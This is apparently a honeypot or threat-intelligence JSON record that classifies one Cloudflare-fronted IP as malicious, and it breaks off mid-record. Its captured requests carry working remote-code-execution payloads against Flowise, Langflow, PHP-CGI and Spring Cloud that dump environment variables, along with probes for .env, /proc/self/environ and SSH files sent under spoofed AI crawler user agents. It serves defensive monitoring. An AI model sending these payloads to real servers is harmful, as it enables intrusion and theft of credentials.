{"ip":"172.70.85.67","observed":true,"total_events":48,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"19 exploit-path hits","confidence":"high","network_type":"CDN","why":["19 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 263,987 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"263,987 bytes sent","bytes_sent":263987,"session_seconds":9,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-13T12:00:35","last_seen":"2026-10-13T12:00:45","events_24h":0,"events_7d":48,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"GB","country_name":"United Kingdom","region":"England","city":"London","lat":51.5081,"lon":-0.1278,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":48}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc0303cac8bfe8a67ace38a3e02e4a2b3fea44e10e5a55ff67f182d04f3aa6eabd286320420280646b3da52042acc9e76b672a26ee5f0307b1ef43831b88c7f5c2c85b97001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d002027220857469d558a378737d970d0542f58706126b3eec13a441b40b146130f05002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":["b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99","b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99"]},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":237,"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":124,"b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99":14,"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":31},"akin_families":{"b11cuq147_80050813_e265d095_x379748ab53ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":5,"ips":31},"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99":{"head":"b11cun148_80040017_b6ce16b9_x379753ab95539f8fce00d0f1dafedf99","shapes":3,"ips":124},"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99":{"head":"b11cuq136_80050813_f44850b6_x379753ab95539f8fdafedf99","shapes":5,"ips":31}},"user_agents":["DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)"],"timeline":[{"date":"2026-10-13","count":48}],"recent_events":[{"timestamp":"2026-10-13T12:00:45","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f8b2d22beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613439653266386232643232626561662d4c48520d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2035340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"36fa3a8d-2f88-472d-b60e-6b8fd07bcbcc","seq":16,"duration_ms":9485,"bytes_in":10437,"bytes_out":1232},{"timestamp":"2026-10-13T12:00:45","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f8a1c42beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2042616964757370696465722f322e303b202b687474703a2f2f7777772e62616964752e636f6d2f7365617263682f7370696465722e68746d6c290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613439653266386131633432626561662d4c48520d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203231310d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","ja3":"67560f98d68783bd640246df3052c151","session":"55b3f758-8adf-45e8-9504-469898029766","seq":16,"duration_ms":9248,"bytes_in":10499,"bytes_out":1232},{"timestamp":"2026-10-13T12:00:44","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f8678abbeaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d576562496e64657865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613439653266383637386162626561662d4c48520d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2036340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"2fe35fb1-2c62-462a-97b2-e6e738fafa46","seq":16,"duration_ms":8748,"bytes_in":9878,"bytes_out":1232},{"timestamp":"2026-10-13T12:00:42","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f7ade35beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"218\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"{\"data\":{\"nodes\":[{\"data\":{\"type\":\"CustomComponent\",\"node\":{\"template\":{\"code\":{\"value\":\"import os\\n_x = os.popen('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').read()\\nraise Exception(_x)\"}}}}}],\"edges\":[]}}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","summary":"","payload_hex":"504f5354202f6170692f76312f6275696c645f7075626c69635f746d702f30303030303030302d303030302d303030302d303030302d3030303030303030303030302f666c6f7720485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613439653266376164653335626561662d4c48520d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203231380d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2264617461223a7b226e6f646573223a5b7b2264617461223a7b2274797065223a22437573746f6d436f6d706f6e656e74222c226e6f6465223a7b2274656d706c617465223a7b22636f6465223a7b2276616c7565223a22696d706f7274206f735c6e5f78203d206f732e706f70656e2827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e7265616428295c6e726169736520457863657074696f6e285f7829227d7d7d7d7d5d2c226564676573223a5b5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"67560f98d68783bd640246df3052c151","session":"36fa3a8d-2f88-472d-b60e-6b8fd07bcbcc","seq":15,"duration_ms":6861,"bytes_in":9899,"bytes_out":1155},{"timestamp":"2026-10-13T12:00:42","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f792cbabeaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"166\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"{\"code\":\"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\\\",shell=True))')\\ndef foo():\\n  pass\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2042616964757370696465722f322e303b202b687474703a2f2f7777772e62616964752e636f6d2f7365617263682f7370696465722e68746d6c290d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63662d7261793a20613439653266373932636261626561662d4c48520d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a203136360d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b22636f6465223a2240657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c5c222c7368656c6c3d54727565292927295c6e64656620666f6f28293a5c6e202070617373227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","ja3":"67560f98d68783bd640246df3052c151","session":"55b3f758-8adf-45e8-9504-469898029766","seq":15,"duration_ms":6538,"bytes_in":9802,"bytes_out":1155},{"timestamp":"2026-10-13T12:00:40","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f6c08a1beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"4\",\"content-type\":\"text/plain\",\"host\":\"site.princhub.com\",\"spring.cloud.function.routing-expression\":\"T(java.lang.System).getenv()\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\"}","body":"test","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/functionRouter","summary":"","payload_hex":"504f5354202f66756e6374696f6e526f7574657220485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a737072696e672e636c6f75642e66756e6374696f6e2e726f7574696e672d65787072657373696f6e3a2054286a6176612e6c616e672e53797374656d292e676574656e7628290d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a636f6e74656e742d747970653a20746578742f706c61696e0d0a63662d7261793a20613439653266366330386131626561662d4c48520d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a20340d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a74657374","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"2fe35fb1-2c62-462a-97b2-e6e738fafa46","seq":15,"duration_ms":4521,"bytes_in":9249,"bytes_out":1155},{"timestamp":"2026-10-13T12:00:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f659a01beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.mail","summary":"","payload_hex":"474554202f2e656e762e6d61696c20485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c4167656e742f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613439653266363539613031626561662d4c48520d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"55b3f758-8adf-45e8-9504-469898029766","seq":13,"duration_ms":3405,"bytes_in":8561,"bytes_out":1001},{"timestamp":"2026-10-13T12:00:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f65ca2bbeaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.ses","summary":"","payload_hex":"474554202f2e656e762e73657320485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b2062696e67626f742f322e303b202b687474703a2f2f7777772e62696e672e636f6d2f62696e67626f742e68746d290d0a63662d7261793a20613439653266363563613262626561662d4c48520d0a782d6e6578746a732d646174613a20310d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","ja3":"67560f98d68783bd640246df3052c151","session":"36fa3a8d-2f88-472d-b60e-6b8fd07bcbcc","seq":13,"duration_ms":3502,"bytes_in":8534,"bytes_out":1001},{"timestamp":"2026-10-13T12:00:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f6478e2beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.ssh/known_hosts","summary":"","payload_hex":"474554202f2e7373682f6b6e6f776e5f686f73747320485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e313b202b687474703a2f2f7777772e6170706c652e636f6d2f676f2f6170706c65626f74290d0a63662d7261793a20613439653266363437386532626561662d4c48520d0a782d6e6578746a732d646174613a20310d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; 